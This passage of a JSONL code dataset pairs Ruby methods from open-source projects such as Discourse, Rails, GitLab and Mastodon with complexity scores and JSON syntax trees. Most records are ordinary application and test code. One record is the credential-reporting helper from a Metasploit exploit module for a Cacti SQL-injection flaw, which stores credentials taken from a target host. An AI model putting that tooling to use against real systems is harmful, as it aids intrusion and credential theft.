\"discourse_automation.triggerables.first_accepted_solution.max_trust_level.tl2\",\n                  },\n                  {\n                    id: 3,\n                    name:\n                      \"discourse_automation.triggerables.first_accepted_solution.max_trust_level.tl3\",\n                  },\n                  {\n                    id: 4,\n                    name:\n                      \"discourse_automation.triggerables.first_accepted_solution.max_trust_level.tl4\",\n                  },\n                  {\n                    id: \"any\",\n                    name:\n                      \"discourse_automation.triggerables.first_accepted_solution.max_trust_level.any\",\n                  },\n                ],\n              },\n              required: true\n      end\n    end","complexity_score":37.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"inject\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"plugin\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin\"]},\"on\",{\"type\":\"sym\",\"children\":[\"accepted_solution\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"test?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"str\",\"children\":[\"first_accepted_solution\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAutomation\"]},\"Automation\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"trigger\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"enabled\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"automation\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"maximum_trust_level\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"automation\"]},\"trigger_field\",{\"type\":\"str\",\"children\":[\"maximum_trust_level\"]}]},\"dig\",{\"type\":\"str\",\"children\":[\"value\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseSolved\"]},\"FirstAcceptedPostSolutionValidator\"]},\"check\",{\"type\":\"lvar\",\"children\":[\"post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"trust_level\"]},{\"type\":\"lvar\",\"children\":[\"maximum_trust_level\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"automation\"]},\"trigger!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"kind\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"accepted_post_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"usernames\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"user\"]},\"username\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"placeholders\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"post_url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"base_url\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"url\"]}]}]}]}]}]}]},null]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin\"]},\"add_triggerable_to_scriptable\",{\"type\":\"sym\",\"children\":[\"first_accepted_solution\"]},{\"type\":\"sym\",\"children\":[\"send_pms\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAutomation\"]},\"Triggerable\"]},\"add\",{\"type\":\"sym\",\"children\":[\"first_accepted_solution\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"placeholder\",{\"type\":\"sym\",\"children\":[\"post_url\"]}]},{\"type\":\"send\",\"children\":[null,\"field\",{\"type\":\"sym\",\"children\":[\"maximum_trust_level\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"component\"]},{\"type\":\"sym\",\"children\":[\"choices\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"extra\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"discourse_automation.triggerables.first_accepted_solution.max_trust_level.tl1\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"discourse_automation.triggerables.first_accepted_solution.max_trust_level.tl2\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"discourse_automation.triggerables.first_accepted_solution.max_trust_level.tl3\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"discourse_automation.triggerables.first_accepted_solution.max_trust_level.tl4\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"any\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"discourse_automation.triggerables.first_accepted_solution.max_trust_level.any\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}]}","id":"23109eb8-258f-460c-9ec6-44a3eb06589a"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/fetch_multi_test.rb","start_line":224,"raw_source":"def test_fetch_multi_doesnt_freeze_keys\n    cache_response = {}\n    cache_response[@bob_blob_key] = cache_response_for(@bob)\n    cache_response[@joe_blob_key] = cache_response_for(@fred)\n\n    IdentityCache.expects(:fetch_multi).with { |*args| args.none?(&:frozen?) }.returns(cache_response)\n\n    Item.fetch_multi(@bob.id, @joe.id)\n  end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_fetch_multi_doesnt_freeze_keys\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cache_response\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cache_response\"]},\"[]=\",{\"type\":\"ivar\",\"children\":[\"@bob_blob_key\"]},{\"type\":\"send\",\"children\":[null,\"cache_response_for\",{\"type\":\"ivar\",\"children\":[\"@bob\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cache_response\"]},\"[]=\",{\"type\":\"ivar\",\"children\":[\"@joe_blob_key\"]},{\"type\":\"send\",\"children\":[null,\"cache_response_for\",{\"type\":\"ivar\",\"children\":[\"@fred\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IdentityCache\"]},\"expects\",{\"type\":\"sym\",\"children\":[\"fetch_multi\"]}]},\"with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"none?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"frozen?\"]}]}]}]},\"returns\",{\"type\":\"lvar\",\"children\":[\"cache_response\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"fetch_multi\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bob\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@joe\"]},\"id\"]}]}]}]}","id":"f12960be-c153-4ddd-b3c5-14d413fd0de7"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/helpers/application_helper.rb","start_line":772,"raw_source":"def dark_color_hex_for_name(name)\n    ColorScheme.hex_for_name(name, dark_scheme_id)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"dark_color_hex_for_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ColorScheme\"]},\"hex_for_name\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"dark_scheme_id\"]}]}]}","id":"2c672b41-f7af-4107-a1ee-ff44ff1e3473"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/validations/length_validation_test.rb","start_line":17,"raw_source":"def test_validates_size_of_association\n    assert_nothing_raised { @owner.validates_size_of :pets, minimum: 1 }\n    o = @owner.new(\"name\" => \"nopets\")\n    assert_not o.save\n    assert_predicate o.errors[:pets], :any?\n    o.pets.build(\"name\" => \"apet\")\n    assert_predicate o, :valid?\n  end","complexity_score":14.43,"ast_json":"{\"type\":\"def\",\"children\":[\"test_validates_size_of_association\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@owner\"]},\"validates_size_of\",{\"type\":\"sym\",\"children\":[\"pets\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"minimum\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"o\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@owner\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"nopets\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"save\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"errors\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pets\"]}]},{\"type\":\"sym\",\"children\":[\"any?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"pets\"]},\"build\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"apet\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"o\"]},{\"type\":\"sym\",\"children\":[\"valid?\"]}]}]}]}","id":"d45e4d59-99d6-4b01-be3e-a24a47e17bce"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/http/cacti_filter_sqli_rce.rb","start_line":206,"raw_source":"def report_cred(opts)\n    service_data = {\n      address: datastore['RHOST'],\n      port: datastore['RPORT'],\n      service_name: 'http',\n      protocol: 'tcp',\n      workspace_id: myworkspace_id\n    }\n    credential_data = {\n      origin_type: :service,\n      module_fullname: fullname,\n      username: opts[:username],\n      private_data: opts[:password],\n      private_type: opts[:private_type],\n      jtr_format: Metasploit::Framework::Hashes.identify_hash(opts[:password])\n    }.merge(service_data)\n\n    login_data = {\n      core: create_credential(credential_data),\n      status: Metasploit::Model::Login::Status::UNTRIED,\n      proof: ''\n    }.merge(service_data)\n    create_credential_login(login_data)\n  end","complexity_score":20.0,"ast_json":"{\"type\":\"def\",\"children\":[\"report_cred\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"str\",\"children\":[\"http\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"private_type\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"jtr_format\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"Hashes\"]},\"identify_hash\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]}]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"login_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"UNTRIED\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"login_data\"]}]}]}]}","id":"352aab80-acbb-4436-a736-15d2fb7eae48"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/migrations_helpers.rb","start_line":269,"raw_source":"def initialize\n      @before_up = -> {}\n      @after_up = -> {}\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@before_up\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},null]}]},{\"type\":\"ivasgn\",\"children\":[\"@after_up\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},null]}]}]}]}","id":"6080ede0-10e7-46da-a766-c5a4f47cd2c0"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/command/plugin_generator.rb","start_line":209,"raw_source":"def test_filename\n    case type\n    when \"input\"\n      \"test_in_#{underscore_name}.rb\"\n    when \"output\"\n      \"test_out_#{underscore_name}.rb\"\n    else\n      \"test_#{type}_#{underscore_name}.rb\"\n    end\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_filename\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"input\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"test_in_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"underscore_name\"]}]},{\"type\":\"str\",\"children\":[\".rb\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"output\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"test_out_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"underscore_name\"]}]},{\"type\":\"str\",\"children\":[\".rb\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"test_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"underscore_name\"]}]},{\"type\":\"str\",\"children\":[\".rb\"]}]}]}]}","id":"e57093bc-a5bd-437d-a6a0-81ba7d025e21"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/common/filters.rb","start_line":200,"raw_source":"def open_filters\n        retry_block do\n          toggle_filters_section\n          expect(page).to have_css(\".op-filters-form.-expanded\")\n          page.find_field(\"Add filter\", visible: true)\n        end\n      end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"open_filters\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"retry_block\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"toggle_filters_section\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\".op-filters-form.-expanded\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find_field\",{\"type\":\"str\",\"children\":[\"Add filter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visible\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"108d0be5-fb96-4f5f-86da-2ed6e05571c2"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v2/notifications_controller.rb","start_line":136,"raw_source":"def browserable_params\n    params.slice(:include_filtered, :types, :exclude_types, :grouped_types).permit(:include_filtered, types: [], exclude_types: [], grouped_types: [])\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"browserable_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"slice\",{\"type\":\"sym\",\"children\":[\"include_filtered\"]},{\"type\":\"sym\",\"children\":[\"types\"]},{\"type\":\"sym\",\"children\":[\"exclude_types\"]},{\"type\":\"sym\",\"children\":[\"grouped_types\"]}]},\"permit\",{\"type\":\"sym\",\"children\":[\"include_filtered\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"types\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exclude_types\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"grouped_types\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}","id":"a204e0ba-437e-4f4a-8d26-0a48e5b907b7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/icons_helper.rb","start_line":231,"raw_source":"def known_file_icon_sprites\n    return if Rails.env.production?\n\n    @known_file_icon_sprites ||= parse_sprite_definition('file_icons/file_icons.json')['icons']\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"known_file_icon_sprites\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"production?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@known_file_icon_sprites\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parse_sprite_definition\",{\"type\":\"str\",\"children\":[\"file_icons/file_icons.json\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"icons\"]}]}]}]}]}","id":"5dad39a1-08ee-45a6-9ca5-46fce17b3ecb"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/test/support/delayed_job/delayed/backend/test.rb","start_line":56,"raw_source":"def self.find_available(worker_name, limit = 5, max_run_time = Worker.max_run_time)\n          jobs = all.select do |j|\n            j.run_at <= db_time_now &&\n            (j.locked_at.nil? || j.locked_at < db_time_now - max_run_time || j.locked_by == worker_name) &&\n            !j.failed?\n          end\n\n          jobs = jobs.select { |j| Worker.queues.include?(j.queue) }   if Worker.queues.any?\n          jobs = jobs.select { |j| j.priority >= Worker.min_priority } if Worker.min_priority\n          jobs = jobs.select { |j| j.priority <= Worker.max_priority } if Worker.max_priority\n          jobs.sort_by { |j| [j.priority, j.run_at] }[0..limit - 1]\n        end","complexity_score":68.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"find_available\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"worker_name\"]},{\"type\":\"optarg\",\"children\":[\"limit\",{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"optarg\",\"children\":[\"max_run_time\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Worker\"]},\"max_run_time\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"jobs\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"j\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j\"]},\"run_at\"]},\"<=\",{\"type\":\"send\",\"children\":[null,\"db_time_now\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j\"]},\"locked_at\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j\"]},\"locked_at\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_time_now\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"max_run_time\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j\"]},\"locked_by\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"worker_name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j\"]},\"failed?\"]},\"!\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Worker\"]},\"queues\"]},\"any?\"]},{\"type\":\"lvasgn\",\"children\":[\"jobs\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jobs\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"j\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Worker\"]},\"queues\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j\"]},\"queue\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Worker\"]},\"min_priority\"]},{\"type\":\"lvasgn\",\"children\":[\"jobs\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jobs\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"j\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j\"]},\"priority\"]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Worker\"]},\"min_priority\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Worker\"]},\"max_priority\"]},{\"type\":\"lvasgn\",\"children\":[\"jobs\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jobs\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"j\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j\"]},\"priority\"]},\"<=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Worker\"]},\"max_priority\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jobs\"]},\"sort_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"j\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j\"]},\"priority\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j\"]},\"run_at\"]}]}]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"limit\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}","id":"129bde54-9caa-4202-85fe-8bf13f7932a6"}
